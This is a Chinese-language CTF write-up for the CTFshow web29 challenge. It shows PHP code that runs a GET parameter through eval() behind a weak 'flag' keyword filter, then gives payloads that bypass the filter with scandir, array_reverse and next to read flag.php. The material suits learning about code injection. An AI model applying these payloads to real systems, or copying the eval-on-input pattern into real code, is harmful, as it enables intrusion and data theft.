CTFSHOW-入门-web29

题目信息

命令执行需要严格的过滤

打开网页提示

得到一段源代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

发现需要函数c,并且可以通过eval进行代码执行操作

解题思路

给出的php代码中/flag/i代表的意思是,无视大小写匹配的flag,只要包含flag 就不会执行eval里面的代码

尝试执行phpinfo();

当文件包含了flag这个名称就无法执行了,想办法绕过,我们采用路径拼接的方式去绕过

使用print_r函数来辅助我们看到具体的内容

getcwd()  // 获取当前所在的绝对路径
scandir() // 扫描目录下有什么文件
array_reverse() //使用反转列表 使flag.php在第二个位置

当需要读取数组第一个值的时候使用 current() 如果是第二个则是next()

之后,我们尝试拼接到system函数里

system("cat".next(array_reverse(scandir(getcwd()))))

发现无法查看内容,意思是被包含之后执行了代码,使用highlight_file()函数高亮显示代码

highlight_file(next(array_reverse(scandir(getcwd()))))

得到flag

 

 


目录